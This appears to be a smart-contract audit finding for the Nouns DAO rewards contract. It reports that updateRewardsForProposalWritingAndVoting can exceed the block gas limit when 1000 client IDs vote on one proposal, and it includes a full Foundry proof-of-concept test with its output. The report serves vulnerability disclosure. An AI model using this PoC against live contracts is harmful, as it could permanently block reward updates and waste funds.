`Rewards.updateRewardsForProposalWritingAndVoting` might consume too much gas

Summary

In current implementation, function Rewards.updateRewardsForProposalWritingAndVoting will loop over maxClientId to find the clientId that is used in a proposal.

The issue is that Rewards.updateRewardsForProposalWritingAndVoting can consume too much gas if there are too much clientId used for one proposal

Vulnerability Detail

In the following POC, if there are 1000 different clientIds are used for one proposal when calls NounsDAOVotes.castRefundableVote, the Rewards.updateRewardsForProposalWritingAndVoting will revert because the function will pass the gas limit of 30000000. If such case, Rewards.updateRewardsForProposalWritingAndVoting will be DOSed for ever because according to Rewards.sol#L323-L327, we can't skip lastProposalId.

Besides the issue above, if there are if there are 1000 different clientIds are used for one proposal, the function will consume more than 10k USD worth gas.

Put the following code under packages/nouns-contracts/test/foundry/rewards/ProposalRewardsMultiple.t.sol and run forge test --mc ProposalRewardsTestMultiple --mt test_stealRefundsGas -vv --ffi

As the output shows, 31154054 gas is used, which is larger than 30000000(gas limit for one block)
And also 3081850900000000000 wei eth is used, given that 1e18 wei eth worth 4000$, 3081850900000000000*4000 / 1e18 = 12327$

Running 1 test for test/foundry/rewards/ProposalRewardsMultiple.t.sol:ProposalRewardsTestMultiple
[PASS] test_stealRefundsGas() (gas: 109000988)
Logs:
  erc20Mock.balanceOf(makeAddr('caller tx.origin'))        : 3081850900000000000
  gasUsed                                                  : 31154054

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 396.43ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;

import { NounsDAOLogicBaseTest } from '../NounsDAOLogic/NounsDAOLogicBaseTest.sol';
import { ERC20Mock } from '../helpers/ERC20Mock.sol';
import { Rewards } from '../../../contracts/client-incentives/Rewards.sol';
import { INounsAuctionHouseV2 } from '../../../contracts/interfaces/INounsAuctionHouseV2.sol';
import { AuctionHouseUpgrader } from '../helpers/AuctionHouseUpgrader.sol';
import { NounsAuctionHouseProxy } from '../../../contracts/proxies/NounsAuctionHouseProxy.sol';
import { NounsToken } from '../../../contracts/NounsToken.sol';
import { RewardsDeployer } from '../../../script/Rewards/RewardsDeployer.sol';
import 'forge-std/Test.sol';
import {console2} from "forge-std/console2.sol";

abstract contract BaseProposalRewardsTestMultiple is NounsDAOLogicBaseTest {
    Rewards rewards;
    ERC20Mock erc20Mock = new ERC20Mock();
    INounsAuctionHouseV2 auctionHouse;

    address admin = makeAddr('admin');
    address bidder1 = makeAddr('bidder1');
    address bidder2 = makeAddr('bidder2');
    address client1Wallet = makeAddr('client1Wallet');
    uint32 clientId1;
    uint32[] votingClientIds;
    Rewards.RewardParams params;
    address[] addressUnderBidder1;
    uint32[] bidderClients;
    uint COUNT = 1000;  <<<------ Here we create 1000 user and 1000 clientIDs

    uint256 constant SECONDS_IN_BLOCK = 12;

    function setUp() public virtual override {
        _setUpDAO();

        addressUnderBidder1 = new address[](COUNT);
        bidderClients       = new uint32[](COUNT);
        for(uint i; i < COUNT; i++) {
            addressUnderBidder1[i] = makeAddr(string(abi.encode(i + 0x10000)));
            vm.deal(addressUnderBidder1[i], 100 ether);
            bidAndSettleAuction(addressUnderBidder1[i], 100 ether);
        }

        vm.deal(bidder1, 10000 ether);
        vm.deal(bidder2, 10000 ether);

        bidAndSettleAuction(bidder2, 1 ether);

        mineBlocks(1);
        vm.prank(makeAddr('noundersDAO'));
        nounsToken.transferFrom(makeAddr('noundersDAO'), bidder2, 0);

        rewards = RewardsDeployer.deployRewards(
            dao,
            admin,
            minter,
            address(erc20Mock),
            1,
            2,
            auctionHouse.auction().nounId,
            Rewards.RewardParams({
                minimumRewardPeriod: 2 weeks,
                numProposalsEnoughForReward: 0,
                proposalRewardBps: 100,
                votingRewardBps: 50,
                auctionRewardBps: 150,
                proposalEligibilityQuorumBps: 1000,
                minimumAuctionsBetweenUpdates: 3
            }),
            address(0)
        );

        for(uint i; i < COUNT; i++) {
            vm.prank(addressUnderBidder1[i]);
            bidderClients[i] = rewards.registerClient('', '');
        }

        vm.prank(client1Wallet);
        clientId1 = rewards.registerClient('client1', 'client1 description');

        erc20Mock.mint(address(rewards), 100 ether);

    }

    function _setUpDAO() internal {
        dao = _deployDAOV3WithParams({ auctionDuration: 24 hours });
        nounsToken = NounsToken(address(dao.nouns()));
        minter = nounsToken.minter();

        auctionHouse = INounsAuctionHouseV2(minter);
        vm.prank(address(dao.timelock()));
        auctionHouse.unpause();

        AuctionHouseUpgrader.upgradeAuctionHouse(
            address(dao.timelock()),
            auctionHouseProxyAdmin,
            NounsAuctionHouseProxy(payable(address(auctionHouse)))
        );
    }

    function proposeVoteAndEndVotingPeriod(uint32 clientId) internal returns (uint32) {
        uint32 proposalId = proposeAndVote(clientId);
        mineBlocks(VOTING_PERIOD);
        return proposalId;
    }

    function proposeAndVote(uint32 clientId) internal returns (uint32) {
        uint256 proposalId = propose(bidder1, address(1), 1 ether, '', '', 'my proposal', clientId);
        mineBlocks(VOTING_DELAY + UPDATABLE_PERIOD_BLOCKS + 1);
        vote(bidder1, proposalId, 1, 'i support');
        return uint32(proposalId);
    }

    function proposeVoteAndEndVotingPeriodMultiple(uint32 clientId) internal returns (uint32) {
        uint32 proposalId = proposeAndVoteMultiple(clientId);
        mineBlocks(VOTING_PERIOD);
        return proposalId;
    }

    function proposeAndVoteMultiple(uint32 clientId) internal returns (uint32) {
        uint256 proposalId = propose(bidder1, address(1), 1 ether, '', '', 'my proposal', clientId);
        mineBlocks(VOTING_DELAY + UPDATABLE_PERIOD_BLOCKS + 1);

        for(uint i; i < COUNT; i++) {
            vote(addressUnderBidder1[i], proposalId, 1, 'i support', bidderClients[i]);
        }
        return uint32(proposalId);
    }

    function bidAndSettleAuction(address bidder, uint256 bidAmount) internal returns (uint256) {
        uint256 nounId = auctionHouse.auction().nounId;

        vm.prank(bidder);
        auctionHouse.createBid{ value: bidAmount }(nounId);

        return fastforwardAndSettleAuction();
    }

    function bidAndSettleAuction(uint256 bidAmount) internal returns (uint256) {
        return bidAndSettleAuction(bidder1, bidAmount);
    }

    function fastforwardAndSettleAuction() internal returns (uint256) {
        uint256 nounId = auctionHouse.auction().nounId;

        uint256 blocksToEnd = (auctionHouse.auction().endTime - block.timestamp) / SECONDS_IN_BLOCK + 1;
        mineBlocks(blocksToEnd);
        auctionHouse.settleCurrentAndCreateNewAuction();

        return nounId;
    }

    function settleAuction() internal returns (uint256 settledNounId) {
        settledNounId = auctionHouse.auction().nounId;
        auctionHouse.settleCurrentAndCreateNewAuction();
    }

    function mineBlocks(uint256 numBlocks) internal {
        vm.roll(block.number + numBlocks);
        vm.warp(block.timestamp + numBlocks * SECONDS_IN_BLOCK);
    }

    function vote(address voter_, uint256 proposalId_, uint8 support, string memory reason) internal {
        vm.prank(voter_);
        dao.castRefundableVoteWithReason(proposalId_, support, reason);
    }

    function vote(address voter_, uint256 proposalId_, uint8 support, string memory reason, uint32 clientId) internal {
        vm.prank(voter_);
        dao.castRefundableVoteWithReason(proposalId_, support, reason, clientId);
    }
}

contract ProposalRewardsTestMultiple is BaseProposalRewardsTestMultiple {
    function test_stealRefundsGas() public {
        uint256 startTimestamp = block.timestamp;

        bidAndSettleAuction({ bidAmount: 5 ether });
        bidAndSettleAuction({ bidAmount: 10 ether });

        uint32 proposalId1 = proposeVoteAndEndVotingPeriodMultiple(clientId1);
        vm.warp(startTimestamp + 2 weeks + 1);

        settleAuction();
        votingClientIds = new uint32[](COUNT);
        for(uint i; i < COUNT; i++) {
            votingClientIds[i] = bidderClients[i];
        }

        uint256 startGas = gasleft();
        vm.fee(100 gwei);
        vm.txGasPrice(100 gwei);
        vm.prank(makeAddr('caller'), makeAddr('caller tx.origin'));
        rewards.updateRewardsForProposalWritingAndVoting({
            lastProposalId: proposalId1,
            votingClientIds: votingClientIds
        });
        uint256 gasUsed = startGas - gasleft();

        console2.log("erc20Mock.balanceOf(makeAddr('caller tx.origin'))        :", erc20Mock.balanceOf(makeAddr('caller tx.origin')));
        console2.log("gasUsed                                                  :", gasUsed);
    }
}

Impact

Rewards.updateRewardsForProposalWritingAndVoting might consume too much gas

Code Snippet

https://github.com/sherlock-audit/2024-03-nouns-dao-2/blob/8f6879efaf831eb7fc9d4a4ad2b62b5334220d87/nouns-monorepo/packages/nouns-contracts/contracts/client-incentives/Rewards.sol#L307-L448

Tool used

Manual Review

sherlock-audit / 2024-03-nouns-dao-2-judging

jasonxiale - `Rewards.updateRewardsForProposalWritingAndVoting` might consume too much gas #13